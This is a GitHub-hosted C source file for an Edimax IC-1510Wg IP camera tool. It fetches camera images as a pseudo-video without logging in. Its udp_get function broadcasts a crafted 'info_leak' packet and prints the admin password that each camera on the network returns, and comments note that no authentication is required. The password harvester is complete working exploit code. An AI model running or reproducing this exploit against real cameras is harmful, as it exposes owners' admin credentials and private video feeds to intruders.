-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathclient.c
434 lines (366 loc) · 11.4 KB
/
client.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
/*
* util to get pictures from Edimax IC-1510Wg as video
* alpha 0.023
*
* This program is free software; you can redistribute it and/or modify
* it under the terms of the GNU General Public License version 2 as
* published by the Free Software Foundation.
+
* authors:
* (C) 2010 Thorben Went <info at dokumenteundeinstellungen dot de>
* (C) 2010 m0x <m0x_ru@mail.ru>
*
*/
#include <stdarg.h>
#include <getopt.h>
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netdb.h>
#include <sys/socket.h>
#include <signal.h>
#include "display.h"
/* default ip */
#define IP "192.168.178.25"
/* default video port */
#define PORT 4321
/* #define LOGIN_SIZE 120 size of login-packet, no longer used */
/* buffer size */
#define PICP_SIZE 50000
#define VERSION "alpha 0.03"
/*
since the camera sends 3 responses, this is used to filter unnecessary
responses.
*/
struct iplinkedlist{
struct iplinkedlist* next;
char ip[16];
};
/*
this works similar to printf
it prints the message and does some cleanup
*/
void error(char * str, ...){
va_list args;
va_start(args, str);
vprintf(str, args);
va_end(args);
fflush(stdout);
close_display();/*mimii*/
exit(1);
}
/*
sometimes update_display doesn't recognize sigint well when
i/o blocks
*/
void sigintfix(int sig){
if(sig == SIGINT)
error("Killed");
}
/*
*/
void show_help(char *argv[]) {
printf("Edimax Video-Viewer %s\n\n",VERSION);
printf("Usage:\n");
printf("%s [Option] [IP]\n\n",argv[0]);
printf("Options:\n");
printf("-s\tSnapshot, write one picture to file\n");
printf("-a\tLooks for the admin-pw of all devices\n");
printf("-h\tYou are currently looking at it\n\n");
printf("IP:\n");
printf("\tIf you don't specify an ip\n");
printf("\twe'll default to \"192.168.178.25\"\n\n");
printf("Without options the binary will output\n");
printf("a pseudo-video by requesting pic by pic.\n");
}
/*
broadcast request to all cams reachable,
we only allow 1 response from each camera.
it was already mentioned in the readme that the design of
the camera is funny/studid because it responses with a broadcast
AND exposes the admin password and other sensitiv stuff when
requested. (no authentication required)
*/
void udp_get(void) {
int sockfd, n, i = 0, cameras = 0, proceed;
struct sockaddr_in dest, fromcam; /*connector's address information*/
struct timeval tval;/*receive timeout*/
size_t addr_len;
int broadcast = 1;
char text[623], passwd[512], name[512], *ip;
FILE *file;
struct iplinkedlist root;/*list of ip's that already responded*/
struct iplinkedlist* rootptr;
root.next = NULL;
tval.tv_sec = 2;
tval.tv_usec = 0;
char info_leak[] = { 0x00, 0x1f, 0x1f, 0x61, 0xb7, 0xfa, 0x00, 0x02, 0xff, 0xfd };
if ((sockfd = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
error("Creakt socket\n");
// this call is what allows broadcast packets to be sent:
if (setsockopt(sockfd, SOL_SOCKET, SO_BROADCAST, &broadcast,sizeof broadcast) == -1)
error("setsockopt (SO_BROADCAST)\n");
if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &broadcast, sizeof broadcast) == -1)
error("setsockopt (SO_REUSEADDR)\n");
if(setsockopt(sockfd, SOL_SOCKET, SO_RCVTIMEO, &tval, sizeof tval) == -1)
error("setsockopt (SO_RCVTIMEO)\n");
dest.sin_family = AF_INET; // host byte order
dest.sin_port = htons(13364); // short, network byte order
dest.sin_addr.s_addr = INADDR_BROADCAST;
memset(dest.sin_zero, '\0', sizeof dest.sin_zero);
if (bind(sockfd, (struct sockaddr *) &dest, sizeof(dest)) == -1) /* we want source and dest-port to be 13364 */
error("Bind\n");
printf("scanning...\n");
if ((n=sendto(sockfd, info_leak, sizeof(info_leak), 0, (struct sockaddr *)&dest, sizeof dest)) == -1)
error("sendto\n");
/* printf("sent %d bytes to %s\n", n, inet_ntoa(dest.sin_addr)); */
while(1){
addr_len = sizeof fromcam;
memset(text, 0, sizeof(text));
n = recvfrom(sockfd, text, sizeof(text), 0, (struct sockaddr *)&fromcam, &addr_len);
if(n<1)/*most likely: connection timeout*/
break;
ip = inet_ntoa(fromcam.sin_addr);
if(memcmp(text, info_leak, sizeof info_leak))
/*matches all responses except ours
since our request gets received by ourselves too
(we listen on the same port that we broadcast to*/
{
/*check if we already got a response from the peer*/
rootptr = &root;
proceed = 1;
while(rootptr->next){
rootptr = rootptr->next;
if(!strcmp(rootptr->ip, ip)){
proceed = 0;/*already got response, try next response*/
break;
}
}
if(!proceed)
continue;
/*if not add it to the list*/
rootptr->next = malloc(sizeof(struct iplinkedlist));
rootptr->next->next = NULL;
strncpy(rootptr->next->ip, ip ,15);
rootptr->next->ip[15]='\0';
/*now, parse the received data*/
if(n<=333)/*not enough data ;)*/
continue;
char *ptr = text+170;
int offset =0;
//filter cam name
while(*ptr && (ptr-text<n) && (ptr-text-170<sizeof name))/*only write to memory allowed to write to*/
{
name[offset] = *ptr;
offset++;
ptr++;
}
name[offset]='\0';
//filter password
ptr = text+333;
offset = 0;
while(*ptr && (ptr-text<n) && (ptr-text-333<sizeof passwd))/*only write to memory allowed to write to*/
{
passwd[offset] = *ptr;
offset++;
ptr++;
}
passwd[offset] = '\0';
/*print password, cam name and so on*/
printf("password for cam `%s'(%s) is '%s'\n", name, ip, passwd);
cameras++;
}
}
printf("done, found %i cameras.\n", cameras);
close(sockfd);
/*
* get len of camname...*
n = strlen(text+170); //this could run forever if there is no nullbyte, could count mem outside buffer
* to malloc this len to passwd *
name = malloc(n); //could alloc more than needed
* then copy string from packet *
strcpy(name, text+170);
* get len of passwd...*
n = strlen(text+333);
* to malloc this len to passwd *
passwd = malloc(n);
* then copy string from packet *
strcpy(passwd, text+333);
printf("Password for Cam %s(%s) is: %s\n", name, inet_ntoa(fromcam.sin_addr), passwd);
*/
/*remember to free the ip linked list, when you remove this exit*/
exit(0);
}
/*
receives an image from `sockfd'
picbuffer = destination buffer
maxlen = destination buffer len
sockfd = socket descriptor
return value: image end offset in destination buffer
-1 on error
*/
int pic_req(int sockfd, char *picbuffer, int len) {
char recbuffer[PICP_SIZE];
int loop = 1,
offset = 0,
n = 0,
i = 0;
char picrp[] = { /*picture request packet: 4. byte (0x0e)*/
0x00, 0x00, 0x00, 0x0e, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
memset(&recbuffer, 0, sizeof(recbuffer));
memset(picbuffer, 0, len);
if((n = write(sockfd, picrp, sizeof(picrp))) < sizeof(picrp) )
error("Error while write picrp");
while(loop)
{
if ((n = recv(sockfd, recbuffer, sizeof recbuffer, 0))<1)
error("Error while read picr-answer\n");
if(len-offset<n)/*this is important since it protects us against buf overflows*/
{
memcpy(picbuffer+offset,recbuffer, len-offset);
offset=len;
} else {
memcpy(picbuffer+offset,recbuffer, n);
offset += n;
}
if(offset>1 && picbuffer[offset-2] == (char)0xff && picbuffer[offset-1] == (char)0xd9)
{
loop=0;
}
if(loop && offset >= len)
{/*this should NOT happen*/
printf("buffer filled but no valid jpeg arrived!\n");
return -1;
}
}
return offset;
}
/* Login-Packet for first tests. Hardcoded username 1 with password muh
int login_cam(int sockfd) {
char loginp[] = { 0x00, 0x00, 0x00, 0x01, 0x31, 0x00, 0x6d, 0x75,
0x68, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00 };
if (write(sockfd, loginp, sizeof(loginp)) == -1 )
error("Error while write login\n");
if (read(sockfd, buffer, 120) == -1)
error("Error while read login-answer\n");
if (buffer[3] == 0x08) {
return 1;
}
} */
int main(int argc, char *argv[]) {
int len, sockfd, login, c, snap = 0, port = PORT;
struct sockaddr_in dest;
char ip[16]="";
char picbuffer[PICP_SIZE];
FILE *file;
int res;
while ((c = getopt (argc, argv, "sahp:")) != -1)
switch (c){
case 'p':
port = atoi(optarg);
break;
case 's':
snap = 1;
break;
case 'a':
udp_get();
exit(0);
break;
case 'h':
default:
show_help(argv);
exit(0);
break;
}
if(optind >= argc){
printf("No ip specified, defaulting to: %s\n", IP);
strncpy(ip, IP, 15);
} else {
strncpy(ip, argv[optind], 15);
}
ip[15]='\0';
/*fixes some issues*/
signal(SIGINT, sigintfix);
sockfd = socket(AF_INET, SOCK_STREAM, 0);
if(sockfd == -1)
error("Error while creating socket..\n");
memset(&dest, 0, sizeof(dest));
dest.sin_family = AF_INET;
dest.sin_addr.s_addr = inet_addr(ip); /* set destination IP number */
dest.sin_port = htons(port); /* set destination port number */
if (connect(sockfd, (struct sockaddr *)&dest, sizeof(struct sockaddr)) == -1)
error("Error while connecting to %s:%i\n", ip, port);
/*
if ((login=login_cam(sockfd)) == -1){
error("Error in login\n");
exit(0);
}
else if (login == 1) {
printf("Login success!\n");
}*/
if (snap) {
file = fopen("snapshot.jpg","w");
len = pic_req(sockfd, picbuffer, sizeof picbuffer);
if(len == -1 || len <30)
error("Failed to get picture from cam\n");
fwrite(picbuffer+28,sizeof(picbuffer[0]),len-28,file);
fclose(file);
exit(0);
} else {
/* main-loop for pseudo-video*/
unsigned short width, height;
int inited = 0;
while(1) {
len = pic_req(sockfd, picbuffer, sizeof picbuffer);
if(len < 30){
printf("Getting picture from cam failed.. retrying\n");
continue;
}
if(!inited){
width = ntohs(*(short*)(picbuffer+8));
height = ntohs(*(short*)(picbuffer+10));
res = init_display(width,height);
if(res == -1)
error("init_display failed!\n");
printf("image dimensions: %ix%i\n", width, height);
inited=1;
}
show_jpegmem(picbuffer+28, len-28);
if(update_display() == -1) /* SIGINT will be handled by update_display*/
exit(0);
}
}
return 0;
}